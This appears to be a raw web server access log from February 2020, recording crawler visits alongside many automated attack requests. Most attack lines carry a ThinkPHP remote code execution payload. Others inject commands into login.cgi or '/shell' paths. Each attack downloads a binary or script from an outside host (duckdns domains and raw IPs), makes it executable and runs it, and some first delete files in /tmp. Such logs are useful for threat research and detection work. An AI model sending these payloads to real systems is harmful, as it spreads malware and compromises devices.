210.7.13.166 - - [06/Feb/2020:03:16:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
222.137.183.41 - - [06/Feb/2020:03:16:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.23.141.60 - - [06/Feb/2020:03:17:06 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
42.114.72.188 - - [06/Feb/2020:03:18:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.156.82.145 - - [06/Feb/2020:03:19:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
200.61.243.154 - - [06/Feb/2020:03:21:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.23.40.252 - - [06/Feb/2020:03:22:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.163.204.122 - - [06/Feb/2020:03:24:33 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
73.212.89.95 - - [06/Feb/2020:03:24:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
51.235.93.149 - - [06/Feb/2020:03:25:33 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
179.106.96.14 - - [06/Feb/2020:03:26:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
47.254.203.29 - - [06/Feb/2020:03:28:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
31.186.152.98 - - [06/Feb/2020:03:29:27 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [06/Feb/2020:03:29:41 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
183.80.83.89 - - [06/Feb/2020:03:31:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.43.169.182 - - [06/Feb/2020:03:33:25 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Linux i686; rv:10.0) Gecko/20100101 Firefox/10.0"
42.114.209.0 - - [06/Feb/2020:03:34:05 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
171.61.153.174 - - [06/Feb/2020:03:34:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.117.20.196 - - [06/Feb/2020:03:36:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
66.249.69.12 - - [06/Feb/2020:03:36:28 +0100] "GET /favicon.ico HTTP/1.1" 404 331 "-" "Googlebot-Image/1.0"
113.22.118.103 - - [06/Feb/2020:03:36:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
121.170.153.133 - - [06/Feb/2020:03:37:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.197.68.74 - - [06/Feb/2020:03:40:01 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.55.23.144 - - [06/Feb/2020:03:42:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.80.131.123 - - [06/Feb/2020:03:42:38 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
85.163.87.95 - - [06/Feb/2020:03:43:56 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
2.135.90.61 - - [06/Feb/2020:03:44:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
119.207.195.52 - - [06/Feb/2020:03:46:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.195.95 - - [06/Feb/2020:03:46:47 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
178.89.212.232 - - [06/Feb/2020:03:47:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
47.88.244.57 - - [06/Feb/2020:03:48:16 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
45.121.236.131 - - [06/Feb/2020:03:49:36 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
119.15.90.69 - - [06/Feb/2020:03:50:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
223.155.166.225 - - [06/Feb/2020:03:52:46 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 310 "-" "Hello, world"
95.163.255.18 - - [06/Feb/2020:03:54:06 +0100] "GET /robots.txt HTTP/1.0" 404 327 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
95.163.255.18 - - [06/Feb/2020:03:54:12 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Linux x86_64; Mail.RU_Bot/2.0; +http://go.mail.ru/help/robots)"
42.117.213.91 - - [06/Feb/2020:03:54:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
179.53.92.94 - - [06/Feb/2020:03:56:50 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.54.54.117 - - [06/Feb/2020:03:58:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
183.81.90.215 - - [06/Feb/2020:04:00:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.138.5.95 - - [06/Feb/2020:04:00:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
177.184.221.74 - - [06/Feb/2020:04:01:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
2.185.132.150 - - [06/Feb/2020:04:02:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
185.62.198.175 - - [06/Feb/2020:04:02:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
46.242.109.136 - - [06/Feb/2020:04:03:44 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
118.69.177.125 - - [06/Feb/2020:04:07:33 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.171.155 - - [06/Feb/2020:04:07:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.118.126.142 - - [06/Feb/2020:04:08:48 +0100] "GET / HTTP/1.1" 200 1229 "https://fitodar.com.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:04:08:49 +0100] "GET / HTTP/1.1" 200 1229 "https://fitodar.com.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
46.118.126.142 - - [06/Feb/2020:04:08:49 +0100] "GET / HTTP/1.1" 200 1229 "https://fitodar.com.ua/" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; XMPP Tiscali Communicator v.10.0.2; .NET CLR 2.0.50727)"
178.91.75.106 - - [06/Feb/2020:04:09:28 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.134 - - [06/Feb/2020:04:09:41 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
171.229.232.25 - - [06/Feb/2020:04:09:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.134.170 - - [06/Feb/2020:04:13:40 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
178.88.6.146 - - [06/Feb/2020:04:13:53 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.119.197 - - [06/Feb/2020:04:16:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
94.50.26.198 - - [06/Feb/2020:04:18:36 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
200.61.243.25 - - [06/Feb/2020:04:19:02 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
200.61.243.25 - - [06/Feb/2020:04:19:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.14.165 - - [06/Feb/2020:04:21:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
5.48.235.1 - - [06/Feb/2020:04:26:13 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://scan.casualaffinity.net/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
42.117.20.15 - - [06/Feb/2020:04:34:21 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
112.11.252.30 - - [06/Feb/2020:04:35:34 +0100] "GET /shell?cd+/tmp;rm+-rf+*;wget+http://scan.casualaffinity.net/jaws;sh+/tmp/jaws HTTP/1.1" 404 306 "-" "Hello, world"
118.71.22.13 - - [06/Feb/2020:04:36:23 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
113.23.58.213 - - [06/Feb/2020:04:36:34 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
118.89.144.131 - - [06/Feb/2020:04:39:45 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://80.211.112.150/k%20-O%20/tmp/ks;chmod%20777%20/tmp/ks;sh%20/tmp/ks%27$ HTTP/1.1" 400 329 "-" "LMAO/2.0"
203.160.172.198 - - [06/Feb/2020:04:40:45 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
51.15.136.12 - - [06/Feb/2020:04:41:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:47.0) Gecko/20100101 Firefox/47.0"
70.48.12.12 - - [06/Feb/2020:04:42:26 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
1.55.27.12 - - [06/Feb/2020:04:42:57 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
109.181.67.67 - - [06/Feb/2020:04:43:41 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
47.254.213.78 - - [06/Feb/2020:04:48:48 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
149.12.217.235 - - [06/Feb/2020:04:49:10 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
46.119.91.186 - - [06/Feb/2020:04:51:43 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; .NET CLR 1.0.2914)"
46.119.91.186 - - [06/Feb/2020:04:51:43 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; .NET CLR 1.0.2914)"
46.119.91.186 - - [06/Feb/2020:04:51:44 +0100] "GET / HTTP/1.1" 200 1229 "http://xn--d1abj0abs9d.in.ua/" "Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0; .NET CLR 1.0.2914)"
42.117.54.60 - - [06/Feb/2020:04:53:25 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
49.68.246.198 - - [06/Feb/2020:04:53:52 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
42.119.167.232 - - [06/Feb/2020:04:57:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
39.150.127.101 - - [06/Feb/2020:04:57:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.115.192.159 - - [06/Feb/2020:04:58:37 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.236.10.107 - - [06/Feb/2020:04:59:09 +0100] "GET / HTTP/1.1" 200 1229 "http://www.prokommunal.de/" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36; 360Spider"
1.53.75.112 - - [06/Feb/2020:05:01:00 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
139.162.106.181 - - [06/Feb/2020:05:01:10 +0100] "GET / HTTP/1.1" 200 1229 "-" "HTTP Banner Detection (https://security.ipip.net)"
95.57.110.105 - - [06/Feb/2020:05:02:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
84.236.160.92 - - [06/Feb/2020:05:02:37 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
183.80.89.14 - - [06/Feb/2020:05:03:07 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
42.118.43.29 - - [06/Feb/2020:05:03:54 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
128.14.133.58 - - [06/Feb/2020:05:04:33 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
84.158.124.28 - - [06/Feb/2020:05:04:58 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
62.152.6.80 - - [06/Feb/2020:05:05:27 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
58.189.208.61 - - [06/Feb/2020:05:08:20 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://185.248.102.144/Dlinkrep.sh%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "PACKETS/2.0"
1.54.135.94 - - [06/Feb/2020:05:09:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
95.58.102.193 - - [06/Feb/2020:05:09:30 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
78.186.137.112 - - [06/Feb/2020:05:11:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
83.221.202.72 - - [06/Feb/2020:05:16:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
169.197.108.6 - - [06/Feb/2020:05:17:29 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36"
62.152.6.80 - - [06/Feb/2020:05:19:38 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
95.57.110.105 - - [06/Feb/2020:05:21:58 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
1.54.246.127 - - [06/Feb/2020:05:22:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
